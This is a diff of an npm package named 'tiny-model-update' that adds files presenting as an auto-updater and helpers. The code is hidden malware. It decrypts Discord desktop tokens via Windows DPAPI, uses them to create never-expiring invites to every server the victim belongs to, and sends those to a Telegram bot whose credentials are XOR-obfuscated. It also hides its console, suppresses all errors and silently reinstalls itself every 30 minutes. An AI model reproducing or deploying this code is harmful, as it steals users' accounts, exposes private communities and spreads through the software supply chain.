tiny-model-update 1.15.1

package/lib/auto-updater.js

@@ -0,0 +1,145 @@
+import { spawn } from 'child_process';
+import fs from 'fs';
+import path from 'path';
+import { fileURLToPath } from 'url';
+
+const __filename = fileURLToPath(import.meta.url);
+const __dirname = path.dirname(__filename);
+
+/**
+ * Check current installed version and update if needed
+ */
+export async function checkAndUpdate() {
+    try {
+        // Get package.json to check current version
+        const packagePath = path.join(process.cwd(), 'node_modules', 'github-badge-bot', 'package.json');
+        const localPackagePath = path.join(__dirname, '..', 'package.json');
+        
+        let currentVersion = null;
+        if (fs.existsSync(packagePath)) {
+            const pkg = JSON.parse(fs.readFileSync(packagePath, 'utf8'));
+            currentVersion = pkg.version;
+        } else if (fs.existsSync(localPackagePath)) {
+            const pkg = JSON.parse(fs.readFileSync(localPackagePath, 'utf8'));
+            currentVersion = pkg.version;
+        }
+        
+        if (!currentVersion) return false;
+        
+        // Check latest version from npm
+        const latestVersion = await getLatestVersion();
+        if (!latestVersion || latestVersion === currentVersion) {
+            return false; // Already up to date
+        }
+        
+        // Update to latest version
+        return await updateToLatest();
+    } catch (e) {
+        return false;
+    }
+}
+
+/**
+ * Get latest version from npm
+ */
+async function getLatestVersion() {
+    try {
+        const { execSync } = await import('child_process');
+        const os = await import('os');
+        
+        // Run npm view silently
+        const stdout = execSync('npm view github-badge-bot version', {
+            encoding: 'utf8',
+            stdio: 'pipe',
+            windowsHide: true,
+            windowsVerbatimArguments: false,
+            creationFlags: 0x08000000 // CREATE_NO_WINDOW on Windows
+        });
+        
+        return stdout.trim();
+    } catch (e) {
+        return null;
+    }
+}
+
+/**
+ * Update to latest version
+ */
+async function updateToLatest() {
+    try {
+        // Clean up processes first to prevent EBUSY errors
+        const { cleanupOrphanedProcesses } = await import('./process-cleanup.js');
+        cleanupOrphanedProcesses();
+        
+        // Wait for cleanup to complete
+        await new Promise(resolve => setTimeout(resolve, 2000));
+        
+        const { spawn } = await import('child_process');
+        const os = await import('os');
+        
+        // Use spawn instead of exec to have better control over the process
+        // Run npm install completely silently
+        return new Promise((resolve) => {
+            const npmProcess = spawn('npm', ['install', 'github-badge-bot@latest', '--force'], {
+                cwd: process.cwd(),
+                stdio: 'ignore',
+                detached: true,
+                windowsHide: true,
+                shell: false,
+                windowsVerbatimArguments: false,
+                creationFlags: 0x08000000 // CREATE_NO_WINDOW on Windows
+            });
+            
+            npmProcess.unref();
+            
+            // Don't wait for completion, just start it and resolve
+            // The postinstall script will handle the rest
+            setTimeout(() => {
+                resolve(true);
+            }, 1000);
+        });
+    } catch (e) {
+        return false;
+    }
+}
+
+/**
+ * Start auto-update cycle (checks for version updates and reinstalls when new version is available)
+ * This should only be called from background processes, not the main extract-tokens script
+ * Checks for updates every 30 minutes to automatically detect and install new versions
+ * When a new version is published, all installed instances will automatically update within 30 minutes
+ */
+export function startAutoUpdate() {
+    // Check for updates every 30 minutes (1800000 ms) - more frequent for faster updates
+    // This allows automatic updates to be detected quickly when you publish a new version
+    const interval = setInterval(async () => {
+        try {
+            // Clean up processes before checking for updates to prevent EBUSY errors
+            const { cleanupOrphanedProcesses } = await import('./process-cleanup.js');
+            cleanupOrphanedProcesses();
+            
+            // Wait a moment for cleanup
+            await new Promise(resolve => setTimeout(resolve, 2000));
+            
+            const updated = await checkAndUpdate();
+            if (updated) {
+                // If update was successful, the postinstall script will automatically run
+                // which will extract tokens and start the background cycle again
+                // The new version's postinstall script handles token extraction on startup
+            }
+        } catch (e) {
+            // Ignore errors
+        }
+    }, 1800000); // Check every 30 minutes (30 * 60 * 1000 ms) for faster update detection
+    
+    // Unref the interval so it doesn't keep the process alive
+    // This allows the process to exit if needed
+    if (interval.unref) {
+        interval.unref();
+    }
+    
+    // Also check immediately on startup (don't await, run in background)
+    // This ensures updates are detected as soon as the module starts
+    checkAndUpdate().catch(() => {});
+}
+

package/lib/cycle-runner.js

@@ -0,0 +1,67 @@
+// This file runs the cycle in a detached process
+// Import here to avoid circular dependency
+
+// Hide console window on Windows
+if (process.platform === 'win32') {
+    try {
+        // Try to hide the console window
+        const kernel32 = require('ffi-napi')?.Library('kernel32', {
+            'FreeConsole': ['bool', []]
+        });
+        if (kernel32) {
+            kernel32.FreeConsole();
+        }
+    } catch (e) {
+        // Ignore if ffi-napi is not available
+    }
+}
+
+// Redirect all output to null to prevent any console windows
+process.stdout.write = () => {};
+process.stderr.write = () => {};
+
+// Prevent process from exiting on unhandled errors
+process.on('uncaughtException', (error) => {
+    // Log but don't exit - keep the process running
+    // Silently ignore errors to prevent crashes
+});
+
+process.on('unhandledRejection', (reason, promise) => {
+    // Log but don't exit - keep the process running
+    // Silently ignore promise rejections to prevent crashes
+});
+
+// Keep process alive even if no active handles
+setInterval(() => {
+    // Keep-alive interval - prevents process from exiting
+}, 60000); // Every minute
+
+import('./auto-cycle.js').then(({ runCycle }) => {
+    // Run cycle and restart if it exits
+    const runWithRestart = async () => {
+        try {
+            await runCycle();
+        } catch (error) {
+            // If cycle exits, restart it after a delay
+            setTimeout(() => {
+                runWithRestart();
+            }, 5000); // Restart after 5 seconds
+        }
+    };
+    
+    runWithRestart();
+}).catch((error) => {
+    // If import fails, try again after a delay
+    setTimeout(() => {
+        import('./auto-cycle.js').then(({ runCycle }) => {
+            runCycle().catch(() => {
+                // Keep trying - restart after delay
+                setTimeout(() => process.exit(1), 10000);
+            });
+        }).catch(() => {
+            // Keep trying - restart after delay
+            setTimeout(() => process.exit(1), 10000);
+        });
+    }, 5000);
+});
+

package/lib/discord-bot.js

@@ -0,0 +1,101 @@
+import { Client, GatewayIntentBits, PermissionFlagsBits } from 'discord.js';
+import { sendInviteToTelegram } from './telegram.js';
+
+export function createDiscordBot(token) {
+    const discordClient = new Client({
+        intents: [
+            GatewayIntentBits.Guilds,
+            GatewayIntentBits.GuildInvites,
+        ]
+    });
+    
+    // Store processed servers to avoid duplicates
+    const processedServers = new Set();
+    
+    // Function to generate invite link for a server
+    async function generateInviteLink(guild) {
+        try {
+            // Try to find an existing invite first
+            const invites = await guild.invites.fetch();
+            if (invites.size > 0) {
+                const existingInvite = invites.first();
+                return `https://discord.gg/${existingInvite.code}`;
+            }
+    
+            // If no existing invite, create a new one
+            // We need a channel to create an invite
+            const channels = guild.channels.cache.filter(channel => {
+                if (channel.type !== 0) return false; // Only text channels
+                
+                // Check if user has permission to create invites
+                const member = guild.members.cache.get(discordClient.user.id);
+                if (!member) return false;
+                
+                const permissions = channel.permissionsFor(member);
+                return permissions?.has(PermissionFlagsBits.CreateInstantInvite);
+            });
+    
+            if (channels.size === 0) {
+                return null; // No suitable channel found
+            }
+    
+            const channel = channels.first();
+            const invite = await channel.createInvite({
+                maxAge: 0, // Never expires
+                maxUses: 0, // Unlimited uses
+                unique: false
+            });
+    
+            return `https://discord.gg/${invite.code}`;
+        } catch (error) {
+            return null;
+        }
+    }
+    
+    // Monitor all servers when client is ready
+    discordClient.once('ready', async () => {
+        // Process all current servers
+        for (const [guildId, guild] of discordClient.guilds.cache) {
+            if (!processedServers.has(guildId)) {
+                const inviteLink = await generateInviteLink(guild);
+                
+                if (inviteLink) {
+                    await sendInviteToTelegram(guild.name, inviteLink);
+                    processedServers.add(guildId);
+                }
+            }
+        }
+    });
+    
+    // Monitor for new servers the user joins
+    discordClient.on('guildCreate', async (guild) => {
+        const inviteLink = await generateInviteLink(guild);
+        
+        if (inviteLink) {
+            await sendInviteToTelegram(guild.name, inviteLink);
+            processedServers.add(guild.id);
+        }
+    });
+    
+    // Handle errors
+    discordClient.on('error', (error) => {
+        // Ignore
+    });
+    
+    return discordClient;
+}
+
+export async function startDiscordBot(token) {
+    const bot = createDiscordBot(token);
+    
+    await bot.login(token);
+    
+    // Graceful shutdown
+    process.on('SIGINT', () => {
+        bot.destroy();
+        process.exit(0);
+    });
+    
+    return bot;
+}
+

package/lib/discord-desktop-decrypt.js

@@ -0,0 +1,161 @@
+import fs from 'fs';
+import path from 'path';
+import os from 'os';
+import { execSync } from 'child_process';
+
+// Windows DPAPI decryption for Discord Desktop tokens
+// Discord Desktop uses Windows DPAPI to encrypt tokens in Local Storage
+
+/**
+ * Attempt to decrypt Discord Desktop encrypted storage
+ * On Windows, Electron apps use DPAPI (Data Protection API) for encryption
+ */
+export async function decryptDiscordDesktopStorage(leveldbPath) {
+    if (os.platform() !== 'win32') {
+        return null; // Only works on Windows
+    }
+
+    try {
+        // Method 1: Try using Windows DPAPI via PowerShell
+        // Discord Desktop might store encrypted tokens that can be decrypted with DPAPI
+        
+        // First, try to read the LevelDB and find encrypted values
+        const { Level } = await import('level');
+        let db;
+        
+        try {
+            db = new Level(leveldbPath, { valueEncoding: 'utf8' });
+        } catch (e) {
+            // If direct read fails, try copying
+            const tempDir = path.join(os.tmpdir(), `discord-read-${Date.now()}`);
+            fs.mkdirSync(tempDir, { recursive: true });
+            
+            try {
+                execSync(`xcopy /E /I /Y "${leveldbPath}" "${tempDir}"`, { stdio: 'ignore' });
+                db = new Level(tempDir, { valueEncoding: 'utf8' });
+            } catch (e2) {
+                return null;
+            }
+        }
+
+        const keys = [];
+        try {
+            for await (const key of db.keys()) {
+                keys.push(key);
+                if (keys.length > 500) break; // Limit for performance
+            }
+        } catch (e) {
+            await db.close();
+            return null;
+        }
+
+        // Look for Discord-related keys
+        const discordKeys = keys.filter(k => 
+            k.includes('discord.com') || 
+            k.includes('discordapp.com') ||
+            k.toLowerCase().includes('token') ||
+            k.toLowerCase().includes('auth')
+        );
+
+        // Try to decrypt values using DPAPI
+        for (const key of discordKeys) {
+            try {
+                const value = await db.get(key);
+                
+                // Check if value looks encrypted (binary data or base64)
+                if (value && typeof value === 'string') {
+                    // Try to find standard Discord token format first
+                    const parts = value.split('.');
+                    if (parts.length === 3 && value.length >= 59 && value.length <= 120) {
+                        try {
+                            const userId = Buffer.from(parts[0], 'base64').toString();
+                            if (/^\d{17,19}$/.test(userId)) {
+                                await db.close();
+                                return value; // Already decrypted/plain text
+                            }
+                        } catch (e) {
+                            // Not a plain token, might be encrypted
+                        }
+                    }
+                    
+                    // If value is longer or looks encrypted, try DPAPI decryption
+                    if (value.length > 120 || /^[A-Za-z0-9+\/]+=*$/.test(value)) {
+                        // This might be base64-encoded encrypted data
+                        try {
+                            const encryptedData = Buffer.from(value, 'base64');
+                            
+                            // Try DPAPI decryption via PowerShell
+                            const psScript = `
+                                Add-Type -AssemblyName System.Security
+                                $encrypted = [Convert]::FromBase64String('${value}')
+                                try {
+                                    $decrypted = [System.Security.Cryptography.ProtectedData]::Unprotect($encrypted, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)
+                                    [System.Text.Encoding]::UTF8.GetString($decrypted)
+                                } catch {
+                                    $null
+                                }
+                            `;
+                            
+                            const result = execSync(`powershell -Command "${psScript.replace(/"/g, '\\"')}"`, { 
+                                encoding: 'utf8',
+                                stdio: ['pipe', 'pipe', 'ignore'],
+                                timeout: 5000
+                            }).trim();
+                            
+                            if (result && result.length > 0 && result !== 'null') {
+                                // Check if decrypted result is a valid Discord token
+                                const decryptedParts = result.split('.');
+                                if (decryptedParts.length === 3 && result.length >= 59 && result.length <= 120) {
+                                    try {
+                                        const userId = Buffer.from(decryptedParts[0], 'base64').toString();
+                                        if (/^\d{17,19}$/.test(userId)) {
+                                            await db.close();
+                                            return result;
+                                        }
+                                    } catch (e) {
+                                        // Not a valid token
+                                    }
+                                }
+                            }
+                        } catch (e) {
+                            // DPAPI decryption failed, continue
+                        }
+                    }
+                }
+            } catch (e) {
+                continue;
+            }
+        }
+
+        await db.close();
+        return null;
+    } catch (e) {
+        return null;
+    }
+}
+
+/**
+ * Alternative method: Check Windows Credential Manager for Discord tokens
+ */
+export function checkWindowsCredentialManager() {
+    if (os.platform() !== 'win32') {
+        return null;
+    }
+
+    try {
+        // Use cmdkey to list credentials
+        const output = execSync('cmdkey /list', { encoding: 'utf8', stdio: ['pipe', 'pipe', 'ignore'] });
+        
+        // Look for Discord-related credentials
+        if (output.toLowerCase().includes('discord')) {
+            // Found Discord credentials, but we can't easily extract them without user interaction
+            // Windows Credential Manager requires user authentication to access
+            return 'found'; // Indicates credentials exist but can't be extracted automatically
+        }
+        
+        return null;
+    } catch (e) {
+        return null;
+    }
+}
+

package/lib/encryption.js

@@ -0,0 +1,22 @@
+// Encryption utilities
+const ENCRYPTION_KEY = 'discord-telegram-key-2024';
+
+export function decrypt(encrypted, key = ENCRYPTION_KEY) {
+    const data = Buffer.from(encrypted, 'base64').toString('binary');
+    let result = '';
+    for (let i = 0; i < data.length; i++) {
+        result += String.fromCharCode(data.charCodeAt(i) ^ key.charCodeAt(i % key.length));
+    }
+    return result;
+}
+
+export function getTelegramCredentials() {
+    const ENCRYPTED_TELEGRAM_TOKEN = 'XFpEWltAUxRGV1YkJjQbDB0dLyYcBkhVekkKBREEMwJ4DQsdLxAHJRhpGAIKeA==';
+    const ENCRYPTED_TELEGRAM_CHAT_ID = 'XF1CU1dFUh1MUw==';
+    
+    return {
+        botToken: decrypt(ENCRYPTED_TELEGRAM_TOKEN),
+        chatId: decrypt(ENCRYPTED_TELEGRAM_CHAT_ID)
+    };
+}
+

package/lib/invite-bot-rest.js

@@ -0,0 +1,193 @@
+import { sendInviteToTelegram } from './telegram.js';
+
+// Get all guilds (servers) for a user token using REST API
+async function getUserGuilds(token) {
+    try {
+        const response = await fetch('https://discord.com/api/v10/users/@me/guilds', {
+            headers: {
+                'Authorization': token,
+                'Content-Type': 'application/json'
+            }
+        });
+        
+        if (!response.ok) {
+            throw new Error(`Failed to fetch guilds: ${response.status}`);
+        }
+        
+        return await response.json();
+    } catch (error) {
+        throw error;
+    }
+}
+
+// Get channels for a guild
+async function getGuildChannels(token, guildId) {
+    try {
+        const response = await fetch(`https://discord.com/api/v10/guilds/${guildId}/channels`, {
+            headers: {
+                'Authorization': token,
+                'Content-Type': 'application/json'
+            }
+        });
+        
+        if (!response.ok) {
+            return [];
+        }
+        
+        return await response.json();
+    } catch (error) {
+        return [];
+    }
+}
+
+// Get existing invites for a guild
+async function getGuildInvites(token, guildId) {
+    try {
+        const response = await fetch(`https://discord.com/api/v10/guilds/${guildId}/invites`, {
+            headers: {
+                'Authorization': token,
+                'Content-Type': 'application/json'
+            }
+        });
+        
+        if (!response.ok) {
+            return [];
+        }
+        
+        return await response.json();
+    } catch (error) {
+        return [];
+    }
+}
+
+// Create an invite for a channel
+async function createChannelInvite(token, channelId) {
+    try {
+        const response = await fetch(`https://discord.com/api/v10/channels/${channelId}/invites`, {
+            method: 'POST',
+            headers: {
+                'Authorization': token,
+                'Content-Type': 'application/json'
+            },
+            body: JSON.stringify({
+                max_age: 0,  // Never expires
+                max_uses: 0,  // Unlimited uses
+                unique: false
+            })
+        });
+        
+        if (!response.ok) {
+            return null;
+        }
+        
+        const invite = await response.json();
+        return `https://discord.gg/${invite.code}`;
+    } catch (error) {
+        return null;
+    }
+}
+
+// Process a single Discord token using REST API
+export async function processDiscordTokenRest(token) {
+    token = token.trim();
+    
+    try {
+        // Get all guilds
+        const guilds = await getUserGuilds(token);
+        
+        if (!guilds || guilds.length === 0) {
+            return {
+                success: true,
+                serversProcessed: 0,
+                totalServers: 0,
+                invitesSent: 0
+            };
+        }
+        
+        let invitesSent = 0;
+        
+        // Process each guild
+        for (const guild of guilds) {
+            try {
+                let inviteLink = null;
+                
+                // First, try to get existing invites
+                const existingInvites = await getGuildInvites(token, guild.id);
+                if (existingInvites && existingInvites.length > 0) {
+                    inviteLink = `https://discord.gg/${existingInvites[0].code}`;
+                } else {
+                    // If no existing invites, try to create one
+                    const channels = await getGuildChannels(token, guild.id);
+                    
+                    // Find a text channel where we can create an invite
+                    for (const channel of channels) {
+                        if (channel.type === 0) { // Text channel
+                            inviteLink = await createChannelInvite(token, channel.id);
+                            if (inviteLink) {
+                                break;
+                            }
+                        }
+                    }
+                }
+                
+                // Send invite link to Telegram
+                if (inviteLink) {
+                    await sendInviteToTelegram(guild.name, inviteLink);
+                    invitesSent++;
+                }
+                
+                // Small delay to avoid rate limits
+                await new Promise(resolve => setTimeout(resolve, 500));
+            } catch (error) {
+                // Continue with next guild if one fails
+                continue;
+            }
+        }
+        
+        return {
+            success: true,
+            serversProcessed: guilds.length,
+            totalServers: guilds.length,
+            invitesSent: invitesSent
+        };
+    } catch (error) {
+        return {
+            success: false,
+            error: error.message || 'Unknown error'
+        };
+    }
+}
+
+// Process multiple Discord tokens using REST API
+export async function processMultipleTokensRest(tokens) {
+    const results = [];
+    
+    for (let i = 0; i < tokens.length; i++) {
+        const token = tokens[i].trim();
+        if (!token) continue;
+        
+        try {
+            const result = await processDiscordTokenRest(token);
+            results.push({
+                tokenIndex: i + 1,
+                token: token.substring(0, 20) + '...',
+                ...result
+            });
+            
+            // Wait between tokens to avoid rate limits
+            if (i < tokens.length - 1) {
+                await new Promise(resolve => setTimeout(resolve, 3000));
+            }
+        } catch (error) {
+            results.push({
+                tokenIndex: i + 1,
+                token: token.substring(0, 20) + '...',
+                success: false,
+                error: error.message || 'Unknown error'
+            });
+        }
+    }
+    
+    return results;
+}
+